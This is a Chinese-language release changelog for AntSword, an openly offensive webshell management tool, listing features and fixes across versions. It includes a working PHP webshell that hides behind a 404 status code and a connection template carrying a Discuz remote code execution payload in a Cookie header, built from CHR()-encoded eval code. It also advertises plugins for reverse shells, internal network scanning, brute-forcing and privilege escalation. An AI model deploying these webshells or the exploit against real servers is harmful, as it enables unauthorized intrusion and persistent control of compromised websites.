- 调整了工具栏按钮的排列
- 关闭了默认自动打开 URL,需要手动点击「浏览」按钮
- 修正 windows 客户端下用户编码器路径解析错误的问题
- 数据分割符随机化,再也不是之前固定的
->|
和|<-
了 - 支持返回状态为 404, 500, 403 等非 200 的 Shell (#103 thx @Curz0n),一个简单的例子如下:
<?php http_response_code(404);@eval($_POST['ant']);?>
- JSP Shell 基础信息调整, 现在默认的目录为 shell 编译后的 class 文件所在目录
- 关于页面新增 Discord 在线交流地址
- 新增 「LiveScan」 插件 (Author: @virink)
Webshell存活弹出插件
- 通过请求 Webshell 并判断返回数据是否一致判断 Webshell 是否存活
- 仅对 PHP,ASP,ASPX 有效
- 一键将失联的 Webshell 移动到
[.Trash]
分类 - 一键清空
[.Trash]
分类
- 修正下载更新时 chunk 导致进度条显示问题
- 修正 Windows 客户端用户自定义编码器加载问题
- 修正 C 盘无权限目录显示的 Bug(#51)
- 修正 Windows 客户端下上传文件路径截取问题(#97 thx @jjf012)
- 修正 Linux 客户端载入源码路径错误的问题 (cbb67dd0)
- 修正 Windows 服务器修改文件时间失败问题(#98 thx @jjf012)
- 修正 ASP Access 数据库显示数据库失败问题
- PHP虚拟终端执行命令函数增加了
shell_exec
,passthru
,exec
,popen
- ASP wget 功能模版
Microsoft.XMLHTTP
替换为MSXML2.ServerXmlHttp
支持 https (#98 thx @jjf012) - 添加「检查更新」菜单
- 提示通过 git 控制源码用户通过 git 命令增量更新(http下载的源码暂时不支持增量更新)
- 新增源代码加载器
从 v2.0.0-beta 版本开始,我们引入了加载器这一概念。
用户/开发者只需要下载对应平台的加载器,无需安装额外的环境,即可对源代码进行编辑、执行、调试等操作。可直接运行>=v2.0-beta版本的开发版和发行版源代码。
有关「加载器」的具体使用方式,可直接查阅 《AntSowd文档——获取蚁剑》
- 新增「加载插件」模块
从 v2.0.0-beta 版本开始,我们引入了「插件」这一概念,用户可在不修改核心框架的情况下,通过安装不同的插件来增强、扩展蚁剑的功能。
端口扫描、Socks代理、反弹Shell、内网漏洞扫描、内网代理浏览器、内网漏洞溢出测试、后门扫描、密码爆破、打包下载、交互式终端、权限提升...
这里将没有任何拘束,可以尽情展现出你对WebShell的理解。
安装插件后,可通过「加载插件」模块调用指定插件。插件有两种调用方式,分别为「单个调用」和「批量调用」,在加载插件后,根据具体的插件显示不同的结果。
有关「加载插件」的使用方式,可直接查阅 《AntSowd文档——加载插件》
如果你对编写插件有兴趣,可查阅 《AntSowd文档——插件开发》,学习如何编写自己的插件。
调用插件:
- 新增「插件市场」模块
有了插件功能,如何获取插件呢?从 v2.0.0-beta 版本开始,我们引入了「插件市场」。插件作者可将自己插件提交至「插件市场」,向所有AntSword使用者分享自己的插件。
详见《AntSowd文档——插件市场》
- 新增「编码管理」模块(thx @virink)
现在可以在「系统设置 - 编码管理」下增加用户自定义的编码器了,不需要拘泥自带的 base64
与 chr
。rot13
、base32
、rc4
、aes
......尽情发挥吧
- 新增「显示设置」模块
Shell数据列表显示太多,有些列就不能隐藏掉吗?完全没问题。
- 新增「浏览网站」模块
碰到需要 Cookie 或者 Basic 认证的站点还要我亲自抓包来填到请求头上去?太麻烦了,直接浏览网站后点击「保存」就能自动将结果添加到 Shell 设置里了。
- 新增「网站备注」功能(thx @virink)
Shell 太多,容易忘记?没关系。添加备注功能来了。
- 新增自定义「HTTP 头」和「请求数据」功能
一些奇奇怪怪的 Shell 和奇奇怪怪的网站居然要在请求的时候带上额外的 HTTP 字段?没关系,添加Shell时加上相应的请求字段就好了。
- 新增自定义「HTTP 请求超时」功能
默认的 10s 超时在网速慢的时候动不动请求超时简直让人抓狂,呐,根据当前Shell的实际情况修改吧。
- 新增自定义「虚拟终端执行路径」功能
偶尔也想换个自己的命令解释程序。
- 新增自定义「虚拟终端缓存」功能
网络差的时候,将命令执行结果缓存起来(默认关闭)。
- 新增自定义「文件管理缓存」功能
网络差的时候,将文件管理的结果缓存起来(默认开启)。
- 新增自定义「忽略HTTPS证书」功能
过期证书站点请求总是因为证书问题请求失败,那就忽略证书检查吧。
- 新增「随机编码器」功能
每次请求时在当前可用编码器中随机选择一种(编码器:「嚯,哈,看我72变」)。
- 优化虚拟终端,新增「命令补全」功能
常用的命令敲的多了想吐?来试试在「虚拟终端」下按 Tab键自动补全吧。
- 优化虚拟终端, 支持命令行粘贴
吐槽了很久的不能粘贴命令的「虚拟终端」终于支持粘贴了。
- 新增「数据库配置」编辑功能
再也不用删掉配置新建了。
- 新增「系统托盘」功能
窗口多的时候快速隐藏/呼出蚁剑(图标什么的别跟我说丑,你找个好看的给大伙瞅瞅?)。
- 新增「预览文件」功能
双击文件自动预览 1.5MB 以内图片,大于该体积的图片可在菜单中选择「预览文件」。
- 优化文件管理,文件列表快速跳行
按下键盘,自动跳到该字母开头的第一个文件所在行。
- 优化「自动更新」功能
程序启动后1分钟自动检查更新,如果存在更新,在提示用户的同时,可直接在线更新。
- 新增「端口扫描」插件
通过 Shell 扫描内网主机开放的端口。(前面已经看过图了,就不放了)。
- 新增「生成Shell」插件
指定密码或者随机产生连接密码,然后随机生成一个 Shell 脚本。
- 新增「复制Shell配置」插件
团队合作管理网站必备,复制的不仅是个连接密码,还有数据库配置与 HTTP 配置。
- 新增「Shell配置导入」插件
跟楼上那个配合使用的 :)
要不你试试导入一下下面这个 Discuz 代码执行,直接连接的模版?
{"category":"default","url":"http://127.0.0.1/viewthread.php?tid=13&extra=page=1","pwd":"ant","type":"php","ip":"127.0.0.1","addr":"IANA 保留地址用于本地回送","encode":"UTF8","encoder":"chr","httpConf":{"body":{},"headers":{"Cookie":"GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=eval(CHR(64).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(39).CHR(97).CHR(110).CHR(116).CHR(39).CHR(93).CHR(41).CHR(59))%3B;"}},"otherConf":{"command-path":"","ignore-https":1,"request-timeout":"5000","terminal-cache":0},"ctime":1489394564927,"utime":1533179198874,"_id":"8Uhsn1z0yeUXS5iG","note":""}
- 新增「超级终端」插件
虚拟终端执行命令不能交互,想要个交互式的 Shell?还想直接穿透内网?这里有个Demo了解一下?
该插件暂时不太稳定,鉴于有朋友想尝试一下,所以提前上了,别抱太大希望。
- 新增「BugScan 插件」插件
通过 Shell 快速创建 BugScan 节点,然后就可以对内网进行安全检测了。
- 新增 ASP xxxxdog 编码器与对应 Shell 示例
这个编码器只能用连接专属 Shell。试着阅读一下这两个脚本,对你编写自己的编码器和专属Shell会很有帮助。
- 新增 PHP
chr16
、rot13
编码器 - 新增 JSPX Script 示例
- 新增 ASP.Net eval Script 示例
- 新增 ASP.Net Custom Script 示例
- 修复 PHP Shell 读特殊文件无返回问题
- 修复Windows存在A盘时hang住的问题
- 新增更新 HTTP 配置 API
- 修复插件市场删除插件失败的问题
- 修复多窗口关闭错误问题
- 修复一些数据错误
- 优化清空所有缓存功能
- 优化删除缓存功能
- 优化删除数据功能
- 优化编辑数据功能
- 一些细节的调整
- 更新 FontAwesome 库到 v4.5.0
- 更新 electron API 到 v1.2.3
这个版本号读起来顺
- 移除 log4js 模块,把后端日志传递到前端输出
打开「开发者工具」,在「Console」下试着敲 antSword["logs"]
就可查看日志啦。
进行了大范围的代码重写以及新功能增加
- 插件市场包括下载管理等设计
- 插件执行包括模块化等架构
- 日志输出以及其他多出细节的调整
- 移除
babel
依赖,采用原生ES6进行前端架构 - 移除
document
以及screenshots
目录,减少体积 - 移除
log4js
模块,把后端日志输出转换到前台控制台
- 重构优化部分代码,删除部分无用资源
- 增加php中的
mysql
数据库模板,用于不支持使用mysqli
的服务器
- 修正custom shell 读取自身时数据被截断的 bug
- 添加 aspx hex encoder 支持
- 新增了后端配置文件
modules.config.js
- 重写优化了部分后端模块
- 使用了
npm3
进行依赖模块安装,便于打包发布
- 移除
webpack
以及其他不必要的依赖,直接无需编译即可执行ES6代码(有新模块babel
的加入,请使用npm install
初始化 - 更新美化关于页面
- 重构
modules/request.js
后端数据请求模块
- 重写前端资源加载方案
- 优化部分ES6代码
- 更新美化关于页面
- 修正 Aspx 中代码根据用户配置自动编码
- 修补 aspx 连接和文件管理的 Bug // &2:Thanks @Medicean
- 新添加了 aspx base64 编码器
- 重新架构核心模块编码器
- 优化shellmanager添加/编辑功能
- 重构语言模板加载方案
- 增加中文部分开发文档
- 增加文件管理模块拖拽文件上传功能
- 完全重写优化核心代码架构
- 增强文件下载功能,支持稳定下载大文件
- 优化HTTP请求函数
- 增加显示文件管理左侧目录数
- 修复文件管理模板XSS安全问题
- 增加文件管理中可执行文件的提示样式
- 调整文件管理中任务面板默认折叠(当有任务时自动展开
- 添加 PHP Custom Spy,及多个 Shell 样本 // Thanks:@Medicean
- 修正更新菜单栏判断条件(win禁止按钮
- 完成在线更新功能(目前不支持windows以及开发版本
- 文件管理双击:size < 100kb ? 编辑 : 下载
- 调整 Custom 方式数据库部分代码 // 2-4:感谢@Medicean
- 添加 Shells 目录, 用于存放 shell 样本代码
- 添加
custom.jsp
服务端样本代码
- 文件管理双击文件进行编辑 //size < 100kb
- 优化数据处理截断算法
- 数据分类重命名
- 新增代理连接配置 // 感谢@Medicean
- 优化UI组建自适应,在调整窗口大小的时候不刷新就能调整UI尺寸
- 修复数据库XSS安全隐患以及特殊符号处理 // 感谢@peablog
- 修复了部分XSS遗留问题(主要在语言模板以及文件管理上还有虚拟终端等,其他地方可能还存在 // 感谢@loveshell
- 修复文件管理中过滤不当引发的xss安全问题
- 增加窗口调整大小刷新UI之前弹框提醒用户选择是否刷新
- 删除无用语言包(jp)
- 更新支持PHP7 // 感谢@Lupino
1. 删除
core/php/index.jsx
中的@set_magic_quotes_runtime(0);
2. 升级core/php/template/database/mysql.jsx
中的mysql
为mysqli
- 修复源码中
jquery
库缺失问题
- 数据高级搜索功能
- 数据库配置编辑功能
- 虚拟终端复制粘贴tab补全
- 插件模块 //实时编写插件执行、UI以及各种操作API设计
- 扩展模块 //用于扩展一些高级的功能,懒人必备
- 代码重构
- 中文开发文档
- 英文说明+开发文档
- nodejs服务端脚本支持
- python服务端脚本支持